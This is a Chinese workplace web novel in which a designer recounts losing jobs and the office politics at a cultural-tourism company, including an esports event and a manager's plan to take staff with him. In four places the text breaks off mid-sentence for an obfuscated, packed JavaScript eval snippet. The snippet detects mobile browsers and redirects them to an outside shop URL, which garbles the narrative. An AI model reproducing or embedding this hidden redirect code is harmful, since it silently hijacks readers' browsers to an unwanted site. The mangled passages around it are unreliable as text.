《魔女离职记》 1. 第一章 2021年,我结束四年漂泊,回到故乡——一座二线省会城市。 带着行业头部企业的工作经验,我以为在这座城市找一份像样的工作轻而易举,却没想到这会成为我职业生涯中最为狼狈的一次修行。 在这一年时间里,我被迫换了七份工作。不是被辞退,便是自己干不下去。 这座陌生又熟悉的城市,用一种极为残酷的方式,考验着我的生存底线。 我出生在这里,但我绝不会死在这里。 1 第一份像样的工作,在这座城市最气派的写字楼里,是一家主营饰品配件出口的电商公司。 员工逾五十人,独占半层楼。老板四十岁不到,高大挺拔,西装革履,梳着大背头,看着很精神。 初印象不错,甚至有点“高级”。 然而,入职第一课,是一道罕见的强制性着装令:必须穿皮鞋上班,男士打领带,女士化妆着正装。人事部门每天早上都会巡查,违者扣分罚款。 我很抗拒。因为我从来没穿过皮鞋,也没有正装。而且,这样的形式主义,令人不屑。 公司里大部分员工拿着三四千的微薄工资,每日带着盒饭挤地铁已是不易,还得早早赶到公司,在洗手间狼狈换装,叫人看着心酸。 事实证明,公司里除了老板和人事总监,几乎没人愿意坚守这样的表面工作。 但我妥协了。作为品牌部经理,我有自己的办公室,待遇可观、老板器重,我暗示自己:别犹豫了,已经大半年没收入了!还能找到一份这样的工作就知足吧! 于是我网购了人生中第一双皮鞋和几件衬衫。尽管每天都穿着不喜欢的喜欢,感觉很不自在,但仍对工作全力以赴。我必须好好珍惜这来之不易的机会。 在此后的三个月里,我带领部门完成了公司一直在做却做不好的品牌体系:企业VI、产品手册、节气海报、文化墙、社媒传播模板……成果超出预期,经常有人在做好的文化墙旁边打卡拍照。 我的能力赢得了老板和同事的认可,常有人来请教我一些需要创意的问题。那时候,我以为自己终于通过了这家公司的“入职测试”,对即将到来的转正述职胸有成竹。 一天下班后,人事总监找我谈话。我心中暗喜,以为是要通知我准备转正述职PPT。 却是没想到,她竟微笑着劝我离职。这太突然了,毫无征兆。我懵在原地,脑中飞速反省:怎么会这样,我做错了什么? 直到恍惚间答应离开,走出办公室,冷风一吹,才猛然惊觉:我这是被卸磨杀驴了,甚至连应有的赔偿都忘了提! 一个试用期经理,仅用三个月解决了公司积年的问题。这笔买卖,对老板来说,实在太划算了。 实在可笑。我在职场十年,在这里却稚嫩得像个新手。这记耳光,实在响亮。 我低头看着身上的白色衬衫,尤其脚上这双皮鞋,越看越丑。 果然,不适合就是不适合。 2 另一份工作,结局更为可笑。 我甚至是被“提前辞退”的。 同样是一家电商公司,实行996,地点偏远。若非生计所迫,我绝不会考虑。 办公室狭小拥挤,挂着红底黄字的“冲刺双十一”横幅,氛围沉闷,耳边尽是键盘的噼啪声,令人烦躁。 下午六点整,我不急不慢地收好东西,起身准备下班,却看到特别诡异的一幕:满眼望去,四十多人,无一人动弹。 我压低声音问我左侧的男下属:“什么情况?不下班吗?” 他眼不离屏幕:“我们一般要到八九点才下班。何况今天是周一,等下还要开会。” “开会?怎么没人通知我?” 他摇摇头,继续凑近电脑屏幕,双手在键盘上不停敲打。 我哑然,看向我右侧的另一位下属——一位八月待产的孕妇。“你呢,你也每天八九点下班吗?” 女生苦笑,“没办法啊,要冲双十一了!” 作为上级,考虑到公司位置偏僻,并且她的工作任务并不是紧急,眼看外面冷风簌簌,就要下雨。我劝道:“你先回吧,你的活不急,明天做一样的。” 她摇摇头,继续在手绘板上画画。 回想当初应聘时人事说过,通常只有节假日前后才会加班到很晚,可这也太夸张了! 再度环顾四周,我突然觉得自己像个异类,与这个环境格格不入。趁着还没人通知我开会,我立刻拎包离开。路过前台时,发现连前台都在加班。 十一月的夜来得很快,风冷刺骨,还夹着雨。 我一路挣扎,反复问自己要不要走。离开这里,下一份工作在哪里?我要吃饭,要交房租,我还有两只猫要养…… 这里工资还可以,坚持吧!坚持下去,别人都能忍受,为什么我不可以?! 尽管已经下定决心留下来,但心中莫名忐忑,于是在九点四十,我拨通了人事总监的电话。 “我们刚开完会,我也正好要找你。”他说。 听到这里,加深了我的不安,“今天好像没人通知我开会。” “是的,我想着你第一天上班,就没通知你。” “那老板不会有意见吗?” “这就是我想跟你说的事。今天开会的时候老板问我你怎么没来,我说你不太喜欢加班而且又是第一天上班……所以没叫你。” 电话那头顿了顿,接着说:“老板就说,那你可能不太适合我们这里。” 我一时无言以对,这算什么? “对不起,我也没想到会这样。你放心,今天的工资还会是结给你的。” 我挂断电话,听见窗外风雨不停。看样子,明天是不会天晴了。 3 将近一年时间,我跌跌撞撞,碰了多少次南墙。终于明白,在这种地方,衡量价值的尺度,不是专业、不是经验,而是服从:服从于表面的精致,服从于无声的加班,服从于所有不言而喻的“潜规则”。 设计这条路,在高端岗位稀缺的二线城市,暂时走不通了。以我的资历,一般的岗位也不会要。我的履历和能力,在这里仿佛一文不值。我必须找到一个新的角色,一个能让我在这里生存下去的小角色。 于是,当一家本地文旅私企向我抛出“策划岗”橄榄枝时,我紧紧抓住了它。 面试我的人是项目总监欧阳总,这人胡子拉渣,初印象是粗狂、大方、健谈,胖。 他对我的履历很感兴趣,对我的能力也十分期待。 第一轮聊得不错,所以他给我出了一道题, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113974|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为东城区文旅局做一个新春花市的活动策划案,预算是100万。 我笑了笑,心想这是想白嫖一个方案吗? 回家路上我想着还是算了,哪有正经公司在人还没入职的时候就让人做方案的? 要么是想白嫖一个方案,要么是想拿我的方案去试水。如果通过了,我能入职。没通过,也就没我什么事了。 夜半,看着猫粮又快见底了,我还是乖乖坐在电脑前,翻找与“新春花市”相关的案例。 我熬了一个通宵,做了一个自觉还可以的方案。因为是设计出身,所以PPT做得很漂亮。 两天之后我得到了复试的机会,又惊又喜,却不敢笑得太早。 复试时,我见的不是欧阳总,而是背后的老板——倪总。他比我小两岁,是个惯会洞察人心的精明商人,能说会道,擅长——PUA。 我终于又得到了一份工作:策划岗,固薪11K,五险一金,双休。 4 如我所料,我能入职,是因为那个方案得到了甲方的认可。 由于此前七份工作丢得不明不白,我对眼前的一切都格外警惕。这是第八份工作,不能再丢了。 我所在的文旅项目部,加我有四人,说是还要招人。 我所属文旅项目部,直接上级是欧阳总。同部门还有两个小伙伴,策划兼新媒体——易梦菲,执行——袁弘文。尽管我毫无统筹经验,欧阳总还是把“新春花市”项目交给了我。 “你没问题,我们是你坚强的后盾!”欧阳总说得轻松。 接下来便是没日没夜地为新春花市做准备。第一次给甲方汇报是欧阳总带着我去的,从第二次开始,我必须独自面对一屋子甲方领导,准备回答各种刁钻的问题。 到中期,我在IP方、设计公司、供应商之间来回沟通、修改、扯皮,常常还要扯起嗓子。后期,我得扎根在活动现场,每天步行两万步,确认每一个灯笼的位置、每一道景观的呈现。 公园太大,从主会场到四个分会场,从出入口到每条小径,都需要装点。这不仅是策划,更是一场体力和耐心的极限测试。 最煎熬的不是体力,是那些无人预警的“坑”。领导A说要这样,领导B说这样不行;好不容易等到现场的物料与预期严重不符,我如雷轰顶;刚摆好的鲜花造景转眼被游客搬走…… 每一个问题砸来时,我都必须立刻给出解决方案。因为临近过年,大家都各自忙碌,没有人会教我怎么做。 从11月11日入职到春节,下半场几乎没有一个完整的周末。大年三十,我在现场忙到凌晨两点,回家囫囵睡下,年初一早上八点半又立马出现在公园,维持开市秩序。身体很累,精神却很紧绷,我担心会出现意外。 终于,活动如期举行。大大小小的会场上人潮涌动,笑声不断,领导们面带微笑,点头赞许。 那一刻,我站在喧嚣的人群外,松了一口气。这是一种全新的体验,酣畅淋漓,成就感攀升。 欧阳总和倪总都到了活动现场,说着:“不错,还可以。” 我天真地以为,这是我在人生低谷触底反弹的开始。后来才明白,这是被深度捆绑的开始。往后四年,我将在这个漩涡里不断被消耗,想走都走不了,仿佛要把我吃干抹净。 2. 第二章 5 我们文旅项目部初建不久,原本只做策划和统筹,到方案确定后再交给活动执行部门去设计和执行、对接供应商。 可伴随新春花市的成功,我们争取新增了一名资深设计王夏和一名体育赛道的策划陈飞,从三人团队变成五人。这意味着,从策划到设计,我们已能内部闭环,实力甚至优于执行部门。两个部门的关系,从此开始变得微妙而对立。 矛盾的核心,在于供应商库的掌控权。即便项目由我们统筹,一旦进入执行阶段,仍必须通过活动部门去调用供应商、洽谈合同、控制成本,导致我们无法保障最终效果。 新春花市就是很好的教训。从外包设计的质量,到现场物料、演绎,还有集市摊主和兼职的素质都远远没有达到我的要求。尤其活动部门的总监肖总,惯爱唱主角,项目一旦经手仿佛就成了他的主场,变成我们随时要配合他们去加班。完全无视我作为统筹对整个项目的节奏把控。若不是整体氛围勉强撑住场面,我真没法交差。 所以,就我个人而言,实在不放心再把项目交给活动部门去执行。可我人微言轻,欧阳总也才来公司一年,我们都无力改变局面。供应商库握在别人手里,有些风险,我们注定避无可避。 6 2022年五月,我们部门争取到了一个很好的项目。 由市文旅局牵头主办的英雄联盟赛事将由我们部门负责落地执行,预算是500万,时间是6月4号、5号两天。 这是省内第一场高级别电竞赛事,相关部门无不重视,省委宣传部责令市文旅局亲自督办。 这类高规格电竞赛事都有自己的执行方,我们只需做好向各个部门的汇报工作,争取支持、整合资源,为赛事开展做好一切准备。尤其需要做好线上线下的传播,扩大赛事在本地的影响力,借此吸引更多的资源倾斜。 为了进一步扩大活动规模,市文旅局要求我们在赛事之外,配套一个龙虾啤酒节。 易梦菲负责一切宣发相关,王夏负责啤酒节的物料设计,陈飞负责办理整个项目所需的报批手续,袁弘文负责后勤。我负责策划和统筹,欧阳总负责汇报。 至此,我们进入到新一轮的拼搏中。作为活动策划,能与英雄联盟这样的IP合作,机会实在难得,我非常期待。 7 方案定稿后,欧阳总开始向有关部门汇报。 而我作为本地主办方与英雄联盟IP方之间的对接人,必须快速推进所有落地细节的确认:从舞台、奖杯、队服的设计,到倒计时海报、宣传视频的拍摄方向——一切需在现场呈现的内容,都需在我方与IP方之间反复协调,确保在 deadline 前全部敲定。 然而,协调过程远比预想中艰难。 由于这类大型电竞赛事在本地属首次,主办方缺乏经验,许多细节迟迟无法给出明确答复,反馈往往流于“再研究研究”或模棱两可的指示。每一个细微决策都需在他们内部层层上报,且不同领导意见常有出入。时间在反复沟通中被迅速消耗,英雄联盟方面对我们的效率日益不满。 最终,拖沓的决策导致了最坏的结局:赛事被迫推迟半个月,改为6月18、19两天。 我们团队夹在主办方与IP方之间,左右为难。更令人焦虑的是,即便推迟了半个月,原有的决策流程并未改变——若机制不变,同样的困境很可能再次上演。 8 面对IP方的催促和主办方的沉默,我实在有些看不过眼。为使活动如期举行,我决定打破僵局,先斩后奏。 在获得欧阳总的默许后,我渐渐掌握决策权。凡是需要决策的事项,我先整理清楚,主动向甲方汇报并附上明确建议,反复催促。一旦超过内部约定的 deadline 而仍无回应,我便直接敲定,有些责任总得有人去担。 身边的同事都劝我适可而止,替我捏把冷汗。 这是一个多方关注、耗资500万的项目,各种细节多如牛毛。作为统筹,若没有半点决策力,一切只会停滞不前。从主视觉到舞台设计,从奖杯、队服到领导席位安排;从人员动线到开幕式流程,从云北元素的融入到全平台宣发策略;甚至到主持人的邀请、coser挑选、各种备用方案……每一个环节,我都要在信息不全、时间紧迫的情况下做出判断。 不仅如此,赛事之外还有一套并行的龙虾啤酒节需要统筹,压力成倍增加。但主办方不会体谅我的难处,他们只看结果。所以我的想法很简单:这么好一个项目交给我,我必须把它做好。只要最终效果是好的,没人会追究过程里的“越权”;万一出了问题,我也愿承担后果。或许在内心深处,我也相信欧阳总不会让我独自背锅——更何况,最坏的结果,不过是离职走人。 9 赛事前一天晚上九点左右,活动执行部门总监肖总突然打电话给我。接通电话以后,传来一位区级领导的声音,要求我给她预留20张车辆通行证。 我一再解释说通行证的报备通知早已经下达,通行证也已经送到各单位手里,会场内已经没有多余的车位了。电话那头却不依不饶,我只好建议他们把车停在我们备用的附近停车点。 然而这位领导就是不依,也不再和我说话,将电话交还给肖总。在肖总挂断电话之前,我听见他好似在安抚那位领导,说他会想办法。——我拭目以待。 赛事第一天,我早早赶到活动现场,衔接协调各种工作,几乎脚不着地。肖总却在IP方的办公室门前挡住了我的去路,他紧皱眉头,严肃地问道:“那个车辆通行证在哪里?我这边要20张。” 我一脸懵,昨晚在电话里我已经说得很清楚了,“我没有啊,我不知道。” 肖总突然目光凶狠地冲我大叫,“你不是总统筹吗你不知道?!” 经他一吼,不仅是我,整个办公室的人都震惊了! 竟如此不分场合对我大吼、对自己同事大吼?不自重!我感到羞耻,不是因为自己,而是因为公司有这样的人,会显得我们档次很低。 我毫不示弱,沉声反驳道:“你自己答应的事情你自己去解决!” 话音未落,他已摔门而去。我背对着IP方同事,尴尬至极。他们沉默许久,我也就当没事发生,离开了。 肖总此人,惯会拿捏供应商,总是一副颐指气使的模样,仿佛高人一等。转身在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113975|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领导面前却卑躬屈膝谄媚讨好,我虽然看不惯,但看在同事一场的份上,一直对他礼敬三分。今日之事,令我彻底失望,我看不起这种人。 活动结束以后,我和人事总监姚总偶尔闲谈时提起此事—— “我真不明白,大家都是同事、是一个团队,他有必要这样吗?” 姚总抿嘴轻笑,好像这是多么天真的想法,“你把人家当同事,人家可能只把你当竞争对手呢!” “啊——?”我一脸问号,竞争对手? 姚总又道:“你还小,很多事你还不懂。” 我不是不懂,我还是觉得——没必要。 10 比赛期间,还有事让我觉得十分惊险。 当时四楼正在举行比赛,除了战队和观众、省市级领导,还有央媒、省媒、其它社媒记者在场。 我在龙虾啤酒节现场巡查时,发现美食摊位空了一大片,正疑惑时接到一通电话让我立刻赶到主楼一楼的电梯口。 到达指定位置后,只见十几个摊主拉着小拖车正要往电梯里面钻,五六个保安围在旁边不知所措。 我立即跑上前拦在电梯口,问道:“什么情况?” “你是负责人吗?你能解决问题吗?”带头往电梯里冲的男摊主情绪激动,面目狰狞,冲我喊道。 “有什么问题你可以跟我说,我能解决一定帮你们解决!” “你一个姑娘家家能解决什么问题?”摊主冲我走近,继续说道:“你们骗我们说每天有一万人,实际上根本就没什么人,害我们准备了这么多东西!天气这么热,外面一个人都没有,东西都坏掉了,这个损失你们要承担!” “我们要保底,我们要赔偿,你们不给我们就上去闹!”另一位摊主扬声道。 上面有那么多省市级领导,还有央媒的记者,这要是闹上去,我们公司以后真的不用混了,后果不堪设想。我心想,无论如何也不能让他们闹上去! 这些摊主是由第三方执行公司统一管理的,而对接执行公司的人正是肖总。然而在此关键时刻,我却找不到他,连执行公司的负责人徐总也一并消失不见。欧阳总正陪同领导,分身乏术,只能靠我自己。可我要怎么说服他们? “大家不要激动,我是这个项目的负责人,所以你们有任何诉求都可以跟我谈!你们要保底也好,要赔偿也好,都可以和我商量,总之我一定会给你们一个交代!” “她一个小姑娘做得了什么主,不要听她的!我们上去找领导解决!”又一位摊主发出声音。 带头摊主听了这话把我拉出电梯厢,冲进了进去,里面的保安根本不敢发生冲突。眼看摊主们就要把事情闹大了,情急之下,我只能硬着头皮上去奋力拉住带头的摊主,及时阻止他按下关门键! 正此时,欧阳总、肖总和徐总终于是出现了! 摊主们看到他们便眼前一亮,齐刷刷朝他们一拥而上。 我卸下心头重压走到欧阳总身后,他对我说:“这事你别管了,我们来处理。你上去控场。” 这种事儿我也不想管。难以想象如果他们真上去闹了,这场活动会如何收场。还好,有惊无险。 3. 第三章 11 赛事最终圆满结束,主办方非常满意。因为本地宣传非常给力,所以IP方也十分满意。 我们团队能够全程参与,并且做出成绩,当然成就感爆满! 庆功宴时,IP方PM和赛事执行方PM同时来敬我酒。他们一边举杯,一边说—— “老殷,很多事多亏你拍板,感谢感谢,感谢支持!” “你到底什么身份啊,怎么什么事都要你来托底?太难为你了!” 我顿时心花怒放,“还好还好!” 当时那一刻,我真的很开心,因为我的担当被人看见了。 经过这场赛事,我喜欢上了自己的工作。虽然辛苦,但很有成就感。心里已经在暗暗期待下一场活动了! 12 大约凌晨一点,我们从庆功宴散场,一起打车回家。 我、易梦菲、袁弘文、王夏,我们四人加上欧阳总同坐一台商务车。 在车上,欧阳总接通了东城区文旅局主席的电话。他有意开了扩音,所以他们之间的对话我们听得很清楚。 欧阳总一直替我们喊累,让我们疲惫的心得到了一丝安慰。主席表达了对活动效果的赞美,也认可了我们团队的能力。他们之间的对话有点像老友之间的寒暄,并不官方。 可是后来,他们开始议论倪总的为人,颇有埋怨。这完全出乎我的意料,因为在我的认知里,主席和倪总的关系,欧阳总和倪总的关系都非常好,反倒是主席和欧阳总的关系并没有多好,欧阳总还是倪总引荐给主席的。现在想来,他们应该是有意保持距离。 “哎,去他妈的,不伺候了,干不下去了!什么玩意儿!”欧阳总带着疲惫的沙哑嗓音说道。 “走吧走吧,走了以后或许就更广阔的天地。” “这谁知道。不想这些。” “那你走了,你的小伙伴怎么安排?” “他们会跟我一起走。” 我心里咯噔一下,不禁眉头紧锁,我什么时候说过要走? 易梦菲、王夏与我面面相觑,同样震惊。唯有袁弘文面色如常,看来是有些猫腻。 等到欧阳总挂断电话,我低声问道:“欧阳总,什么情况?” 欧阳总依旧靠在椅背上没有回头,“哎,太特么累了,明天再说吧!” 我们仨继续大眼瞪小眼,心中不安。 13 翌日下午,终于等到欧阳总把我喊进办公室。 “昨天晚上我和主席说的话你也都听见了,你怎么看?”他靠在椅背上问我。 我很疑惑,因为在我看来欧阳总和倪总是很铁的关系,他们几乎形影不离,每次生病都是同一时间,我曾怀疑他们是不是住一起的。所以听到他昨晚抱怨才十分遗憾,我轻声问道:“欧阳总,你到底为什么走啊?” 欧阳总表现出无奈,“我也不瞒你说。真实原因就是:我答应的我做到了。他答应的,他给不了。” 原来两人早已貌合神离,“那你说我们都要走是什么意思?” “我也就是随口一说。你们都是我招的,除了陈飞,陈飞是倪总面的,我管不了。我想着如果我走了,我估计会把你们几个放到肖总部门去。你看你想不想去。” “那我肯定不愿意去啊!” “我猜你也不愿意。所以要不你们跟我一起走算了。” “去哪?” “我朋友那里。一家国企单位,我本来是只有两个编制。当时我想的是你一个、袁弘文一个。后来又要了两个,不就正好带你们一起过去算了。国企总比私企强,资源各方面的。” “听起来好像不错。” “也不是说非得去那边,决定权在你们,我就是想多给你们一个选择。” 我若有所思地点点头,想着见见就见见,免得辜负欧阳总一番好意。于是答应下来,和大家一起去见见那位国企老板。 和欧阳总大半年相处下来,我觉得他是个有担当、有魄力,可以沟通的领导。对我们也很护短,很多事都放手让我们去做,他因此承担了很多压力,所以我们互相之间是有了解和信任的。 然而,事情并没有我想的那么简单。表面是好意,实际这根本就是个巨坑。 14 我、袁弘文、易梦菲、王夏,我们四人偷偷去了那位国企老板。 办公室古朴雅致,是我喜欢的风格。我以为会是个儒雅的文人,不料却是个大腹便便的壮汉。身着一件印花衬衫和一条大裤衩,脖子上戴着一根粗金链子,手中还盘着一条崖柏珠串。 如果可以,我真想立马转身走人。因为我铁定不会让这种人做我老板的。可易梦菲他们都把这看成是一次很重要的面试,我也不好多说什么,只好陪着他们熬过这一回。 这大老板一人对我们四人,先是自卖自夸一阵,又说这个平台多好多好、背景多么强大,尤其国企单位的编制是可遇不可求的,叫我们年轻人一定要懂得抓住机会。 一问有双休吗?——单休。 再问工资多少?——五千。 确定有编制吗?——很快就会批下来。 可笑。我们四人中,薪资最低都不止五千,而我有一万一,我们还是双休。更何况我们团队刚刚做完一场全市瞩目的大型活动,谁给他的脸,竟然想五千块把我们收编? 就在我以为大家都和我一样不屑的时候,发现其余三人的脸上表现出犹豫。显然是我低估了国企编制的份量。 谈话间得知,袁弘文在欧阳总的安排下已经见过这位老板了。 “你们谁的方案PPT做得最好?”老板突然发问。 我还没反应过来,易梦菲已经有些腼腆地举起了手——还真是自信。 离开办公楼以后,我明确表达了自己的想法,不可能来。 易梦菲和王夏嫌工资太低,但国企编制确实诱人,所以还在犹豫。袁弘文是几乎已经确定下来了,他家不缺钱,所以这对他来说是个很好的机会。 我们四个分开以后,欧阳总很快打来电话。 “聊得怎么样?”欧阳总问。 “无语。他竟然想五千块把我们收编。关键所谓的国企编制,还不知道什么时候能批下来。” “五千块吗?我记得他说的有七千啊。” “就五千。还要穿正装上班,反正我不来,袁弘文应该会来。” “不想去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113976|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不去,去留在你们自己。你们要是有什么想谈又不好谈的,我可以去替你们谈,实在谈不下来那我也没办法。” “我没什么想谈的,我肯定是不来了,谢谢欧阳总好意。” “哎呀没事,不用有负担,都是小事。” 话都已经说到这个份儿上了,我以为这件事算完结。 15 一周以后,本就沉默寡言的袁弘文笑眯眯地离职了,跟我们说江湖再见。 两周以后,王夏在我们三人小群里发信息说请我吃——散伙饭。 我立即转身问他啥情况,什么叫“散伙饭”? 王夏一脸无奈,当时还不肯说。到晚上吃火锅的时候才知道,欧阳总已经安排王夏在下周一发离职申请了。不仅是他,还有易梦菲的离职日期被安排在一个月后。 这简直太炸裂了!怎么说一出做一出呢? “有什么办法,我是他招的,他要我走我能不走吗?”王夏说道。 “不想走就别走,他能怎么样?”我说。 “欧阳总要是走了,我们肯定要被划到肖总的部门,你愿意去?” “我肯定不去。” “那你还不是要走!” 我顿了顿,“那也不能这样不明不白的走!” “无所谓了,没有这家还有下家!”王夏好似看得很开。 “你们真要去那家国企?”我问他俩。 王夏瞪大眼睛转了转,说道:“不去!” 易梦菲在一旁沉默不语,我问她什么想法。 她有些难为情地说,“我能有什么想法,我也不知道,就走一步看一步啊。” 王夏接着说。“袁弘文的离职申请已经批了,他肯定是要去的。” “不晓得欧阳总这么搞,倪总知不知道。”我说。 “你傻哦,那肯定不知道撒!”王夏说道。 我隐隐感到不安,总想做点什么。 16 第二天,欧阳总把我喊到办公室。他还是一副大大咧咧的模样,仿佛这个阴谋与他毫不相干。 “我已经和倪总说了王夏和易梦菲都可能要离职的事。” 我心想,什么叫“可能”?不都被你安排的明明。“那你要走的事提了吗?” 他一副全然置身事外的样子,“还没,我还没想好。” “倪总他就不奇怪吗?连续三个人离职。” “奇怪啊,所以他怀疑是不是有人撺掇大家一起离职。” 我心里咯噔一下,忙问道:“他不会以为是我吧?” “有这个可能。”欧阳总顿了顿,又说:“他知道你和老万关系不好,怀疑你可能想走。” 我心下一惊,竟然在这等着我呢,好算计呀! 把他们三个先弄走,再让倪总以为是我怂恿的,让我在这待不下去,最后他全身而退,我背锅。 欧阳总见我一时沉默,安抚道:“你也别想太多,没什么大不了的。万一他找你,你就说不知道不就完了。” 我是真想说一句:欧阳总啊欧阳总,你凭什么觉得我愿意给你当枪使啊? 后来,欧阳总接了个电话便急匆匆离开了办公室。 4. 第四章 17 周末在家我越想越不甘,比起不甘,可能更多的是不解。 在这件事以前,我觉得欧阳总是很好的领导,愿意相信我们、给我们制造机会。实在没有想到他竟是个如此心思深沉的阴谋家,真是人心隔肚皮。 就目前来看,欧阳总的暗示已经很明显,倪总应该已经认定是我在撺掇大家一起离职。 我要怎么做,才能证明自己的清白? 我想过直接打电话给倪总,或者给他发信息,把整件事的始末全部告诉他。但他和欧阳总关系甚好,可能他俩现在就在一起,所以我不能冒险让欧阳总知道我在找倪总。 不管怎么说,我不能坐以待毙。思来想去,最后决定还是打电话给人事总监姚总。 姚总很快了然,表示我找她是对的。这件事她会帮我转达给倪总,让我安心上班。至于王夏和易梦菲的去留,由他们自己决定。 18 周一早上,我把王夏拉到楼梯间。 “你离职申请提了吗?”我问。 “提了啊。” “不是让你周一再提吗?” “早一点晚一点有什么区别哦?” 我一时无语,“你想不想留下?” “想是想。可是我已经答应欧阳总要离职,现在申请都提了。” “没关系。我可以去找姚总,只要你想留肯定就能留。” 我想留王夏的理由无非两点:一则我们是朋友,同是打工人,找到一份自己喜欢的工作不容易,所以我不希望他就这样糊里糊涂地被离职。二则,我也认可他的能力,公司放走他是公司的损失。所以于公于私,我都想帮他争取一下。 可当我找到姚总为王夏说明情况时,姚总已经把整件事转达给倪总。王夏和易梦菲最后能不能留还是得看倪总的决定,但她答应会帮我们尽量沟通。 19 欧阳总一直没出现,倪总也是到下午两三点才到公司。 他一来便让我去他办公室。我怀着紧张的心情第一次坐到他办公室的茶桌对面,等他慢条斯理的烧水、取茶叶、泡茶。 在此之前,我还是在面试的时候和他交谈过一次。他一直是休闲打扮,穿着深色卫衣和牛仔裤,脚登运动鞋。皮肤比较黑,脸比较圆,不是那种有棱有角的脸型。看上去三十岁不到,很多领导都说他年轻有为。 他神情严肃,一边泡茶一边说:“姚总已经跟我说了,但我想听你再说一遍。” 我按他的要求把整件事从头到尾复述了一遍。 倪总递给我一杯茶,说道:“欧阳总跟我说,你和肖总不和。做英雄联盟的时候他还吼了你?然后你说这个公司里有你没他,有他没你。” 我冷静地反驳道,“没有,我不可能说出这样的话!” “我也觉得你不是这样的人。” “……” 他手指举起茶杯小酌一口,继续说:“虽然我们没怎么接触过,但你是我面试的,我相信自己的眼光,你不是那种会挑事的人。” “……” “其实欧阳总的事我早就发现了,我只是在等,我要看看他到底想干什么。” 倪总看上去已经掌握了主导权,仿佛成竹在胸,我也就不再多说什么。 “你还有什么要说的吗?”倪总问我。 我想到王夏,“倪总,我希望你能留下王夏,他是被欧阳总安排的,他不想走的。” “我为什么要留他?他好像已经离职了吧?” “他是欧阳总招的,在公司里也不认识其他人,欧阳总要他走,他是不得不走。” “我认为这不是理由。” “他的能力强,对公司的业务也很熟悉,公司PPT的模板就是他做的(听说倪总很满意)。我自己是设计出身,我很清楚他的设计水平,在云北想再找一个这样的资深设计,短时间内很难到岗。” 倪总看我如此欣赏王夏,便也松了口,“好吧,既然你想留他,我可以再给他一次机会,晚点我会找他谈。” “好,谢谢倪总。” 我离开时,倪总让我帮他叫王夏进去。 王夏进去的时候一脸严肃,出来的时候却是眉开眼笑,看样子是顺利留下来了。 20 从此以后,欧阳总再也没在公司里出现过。 袁弘文果真去了那家国企,是不是有编制还不确定。不久之后,欧阳总也去了。 当我们以为一切都将恢复平静时,新的波澜又展开了。 我被晋升为项目经理,负责文旅版块的项目,易梦菲和王夏变成了我的下级。同时晋升的还有陈飞,他负责体育板块的业务。我们直接向总经理倪总汇报工作。 我们对这个安排都感到莫名其妙,关键是职级升了工资却没有加。当我向姚总问及时,她说需要考察三个月。 当天下班后,我和易梦菲按之前的约定去酒吧喝酒。我们以前都是有说有笑,这一回却是有一搭没一搭的,气氛有些尴尬。 后来喝了酒,她的话才多了起来,突然对我说,“老殷,我觉得我能力不比你差,为什么是你上不是我上?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113977|195891||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我知道,在她眼里,她比我优秀。但我没想到,她会这样质问我,把不满发泄在我身上。看她对我一脸不服的样子,我无言以对,淡淡地说了一句:“你问我,我也不知道。” 我本就没有什么升官发财的野心,因为我不想承担太多压力,也自觉没有那种能力。公司这样的安排,让我猝不及防。我尝试换位思考,如果是易梦菲成了我的上级,我还能不能保持平常心态?——或许很难。 更令我始料不及的是,易梦菲为了不在我之下,竟然主动申请调到肖总部门。她一个最讨厌加班的人,竟然选择了一个最喜欢无效加班的部门。她到底有多讨厌我啊? “倒也不全是因为讨厌你。”姚总说道,“她觉得她比你优秀是一部分,最主要的是:她觉得如果跟你在一个部门,那好的项目会轮不到她。她去肖总那边,可能机会会多一点。” 我想了想,“肖总部门能有什么好项目?” “以前是没有,易梦菲去了可能就有了呗!” “哦~!” “懂了吧~!” 肖总部门的工作原来一直以执行为主,养了两个设计和两个执行。如果易梦菲过去了,他们就有了策划,可以承接更多的业务。 小丑竟是我。 21 